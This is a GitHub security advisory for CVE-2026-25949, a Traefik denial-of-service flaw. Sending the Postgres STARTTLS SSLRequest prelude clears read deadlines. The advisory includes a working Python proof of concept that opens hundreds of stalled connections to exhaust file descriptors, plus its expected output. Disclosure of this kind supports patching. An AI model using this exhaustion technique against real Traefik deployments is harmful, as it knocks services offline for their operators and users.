GHSA-89p3-4642-cr2w

Suggest an improvement
Source
https://github.com/advisories/GHSA-89p3-4642-cr2w
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-89p3-4642-cr2w/GHSA-89p3-4642-cr2w.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-89p3-4642-cr2w
Aliases
  • CVE-2026-25949
Published
2026-02-12T15:54:11Z
Modified
2026-02-12T16:11:18.166589Z
Severity
  • 7.5 (High) CVSS_V3 - CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H CVSS Calculator
Summary
Traefik: TCP readTimeout bypass via STARTTLS on Postgres
Details

Impact

There is a potential vulnerability in Traefik managing STARTTLS requests.

An unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely, leading to a denial of service.

Patches

  • https://github.com/traefik/traefik/releases/tag/v3.6.8

For more information

If you have any questions or comments about this advisory, please open an issue.

<details> <summary>Original Description</summary>

Summary

A remote, unauthenticated client can bypass Traefik entrypoint respondingTimeouts.readTimeout by sending the 8-byte Postgres SSLRequest (STARTTLS) prelude and then stalling, causing connections to remain open indefinitely and enabling file-descriptor and goroutine exhaustion denial of service.

This triggers during protocol detection before routing, so it is reachable on an entrypoint even when no Postgres/TCP routers are configured (the PoC uses only an HTTP router).

Details

Traefik applies per-connection deadlines based on entryPoints.<name>.transport.respondingTimeouts.readTimeout to prevent protocol detection and request reads from blocking forever (see pkg/server/server_entrypoint_tcp.go, which sets SetReadDeadline on accepted connections).

However, in the TCP router protocol detection path (pkg/server/router/tcp/router.go), when Traefik detects the Postgres STARTTLS signature on a new connection, it executes a fast-path that clears deadlines:

  • detect Postgres SSLRequest (8-byte signature),
  • call conn.SetDeadline(time.Time{}) (clears all deadlines),
  • then enter the Postgres STARTTLS handler (servePostgres).

The Postgres handler (pkg/server/router/tcp/postgres.go) then blocks waiting for a TLS ClientHello via the same peeking logic used elsewhere (clientHelloInfo(br)), but with deadlines removed. An attacker can therefore:

  1. connect to any internet-exposed TCP entrypoint,
  2. send the Postgres SSLRequest (SSL negotiation request),
  3. receive Traefik’s single-byte response (S),
  4. stop sending any further bytes.

Each such connection remains open past the configured readTimeout (indefinitely), consuming a goroutine and a file descriptor until Traefik hits process limits.

Of note: CVE-2026-22045 fixed a conceptually-similar DoS where a protocol-specific fast path cleared connection deadlines and then could block in TLS handshake processing, allowing unauthenticated clients to tie up goroutines/FDs indefinitely. This report is the same failure mode, but triggered via the Postgres STARTTLS detection path.

Tested versions: - v3.6.7 - master at commit a4a91344edcdd6276c1b766ca19ee3f0e346480f

PoC

Prerequisites: - Linux host - Python 3 - A prebuilt Traefik v3.6.7 binary. The script below expects the path in the script’s TRAEFIK_BIN constant (edit if needed).

Execute the script below: <details> <summary>Script (Click to expand)</summary>

#!/usr/bin/env python3
from __future__ import annotations

import os
import socket
import subprocess
import tempfile
import time
from typing import Final

# Hardcode the Traefik binary path. Edit as needed.
TRAEFIK_BIN: Final[str] = "/usr/local/sbin/traefik"

HOST: Final[str] = "127.0.0.1"
PORT: Final[int] = 18080

STARTUP_SLEEP_SECS: Final[float] = 2.0
READ_TIMEOUT_SECS: Final[float] = 2.0
SLEEP_SECS: Final[float] = 3.5
N_CONNS: Final[int] = 300

POSTGRES_SSLREQUEST: Final[bytes] = bytes([0x00, 0x00, 0x00, 0x08, 0x04, 0xD2, 0x16, 0x2F])


def fd_count(pid: int) -> int:
    return len(os.listdir(f"/proc/{pid}/fd"))


def open_idle_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        conns.append(socket.create_connection((HOST, PORT)))
    return conns


def open_postgres_sslrequest_conns(n: int) -> list[socket.socket]:
    conns: list[socket.socket] = []
    for _ in range(n):
        s = socket.create_connection((HOST, PORT))
        s.settimeout(1.0)
        s.sendall(POSTGRES_SSLREQUEST)
        try:
            _ = s.recv(1)  # typically b"S"
        except socket.timeout:
            pass
        conns.append(s)
    return conns


def close_all(conns: list[socket.socket]) -> None:
    for s in conns:
        try:
            s.close()
        except OSError:
            pass


def main() -> None:
    with tempfile.TemporaryDirectory(prefix="vh-traefik-f005-") as td:
        dyn = os.path.join(td, "dynamic.yml")
        with open(dyn, "w", encoding="utf-8") as f:
            f.write(
                f"""\
http:
  routers:
    r:
      entryPoints: [web]
      rule: "PathPrefix(`/`)"
      service: s
  services:
    s:
      loadBalancer:
        servers:
          - url: "http://{HOST}:9"
"""
            )

        proc = subprocess.Popen(
            [
                TRAEFIK_BIN,
                "--log.level=ERROR",
                f"--entryPoints.web.address=:{PORT}",
                f"--entryPoints.web.transport.respondingTimeouts.readTimeout={READ_TIMEOUT_SECS}s",
                f"--providers.file.filename={dyn}",
                "--providers.file.watch=false",
            ],
            stdout=subprocess.DEVNULL,
            stderr=subprocess.STDOUT,
        )
        try:
            time.sleep(STARTUP_SLEEP_SECS)

            pid = proc.pid
            if pid is None:
                raise RuntimeError("Traefik PID is None")

            ver = subprocess.check_output([TRAEFIK_BIN, "version"], text=True).strip()
            print(ver)
            print(f"Traefik={TRAEFIK_BIN}")
            print(f"Host={HOST} Port={PORT} ReadTimeout={READ_TIMEOUT_SECS}s N={N_CONNS} Sleep={SLEEP_SECS}s")

            base = fd_count(pid)
            print(f"traefik_pid={pid} fd_base={base}")

            idle = open_idle_conns(N_CONNS)
            fd_after_open_idle = fd_count(pid)
            print(f"baseline_opened={N_CONNS} fd_after_open={fd_after_open_idle} delta={fd_after_open_idle - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_idle = fd_count(pid)
            print(f"baseline_after_sleep fd={fd_after_sleep_idle} delta_from_base={fd_after_sleep_idle - base}")
            close_all(idle)

            pg = open_postgres_sslrequest_conns(N_CONNS)
            fd_after_open_pg = fd_count(pid)
            print(f"candidate_opened={N_CONNS} fd_after_open={fd_after_open_pg} delta={fd_after_open_pg - base}")
            time.sleep(SLEEP_SECS)
            fd_after_sleep_pg = fd_count(pid)
            print(f"candidate_after_sleep fd={fd_after_sleep_pg} delta_from_base={fd_after_sleep_pg - base}")
            close_all(pg)

            if (fd_after_sleep_idle - base) <= 5 and (fd_after_sleep_pg - base) >= (N_CONNS // 2):
                print("VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.")
            else:
                print("INCONCLUSIVE: adjust N_CONNS upward or inspect Traefik logs.")
        finally:
            proc.terminate()
            try:
                proc.wait(timeout=3.0)
            except subprocess.TimeoutExpired:
                proc.kill()
                proc.wait(timeout=3.0)


if __name__ == "__main__":
    main()

</details>

<details> <summary>Expected output (Click to expand)</summary>

Version:      3.6.7
Codename:     ramequin
Go version:   go1.24.11
Built:        2026-01-14T14:04:03Z
OS/Arch:      linux/amd64
Traefik=/usr/local/sbin/traefik
Host=127.0.0.1 Port=18080 ReadTimeout=2.0s N=300 Sleep=3.5s
traefik_pid=46204 fd_base=6
baseline_opened=300 fd_after_open=128 delta=122
baseline_after_sleep fd=6 delta_from_base=0
candidate_opened=300 fd_after_open=306 delta=300
candidate_after_sleep fd=306 delta_from_base=300
VULNERABLE: Postgres SSLRequest keeps connections open past entrypoint readTimeout.

</details>

Impact

Denial of service. Any internet-exposed entrypoint using the TCP switcher/protocol detection (including "web" HTTP entrypoints) with a readTimeout is affected; no Postgres configuration is required. At sufficient concurrency, Traefik can hit process limits (FD exhaustion/goroutine pressure/memory), taking the proxy offline.

</details>

Database specific
{
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-400"
    ],
    "github_reviewed_at": "2026-02-12T15:54:11Z",
    "severity": "HIGH",
    "github_reviewed": true
}
References

Affected packages

Go / github.com/traefik/traefik/v3

Package

Name
github.com/traefik/traefik/v3
View open source insights on deps.dev
Purl
pkg:golang/github.com/traefik/traefik/v3

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Fixed
3.6.8

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/02/GHSA-89p3-4642-cr2w/GHSA-89p3-4642-cr2w.json"
last_known_affected_version_range
"<= 3.6.7"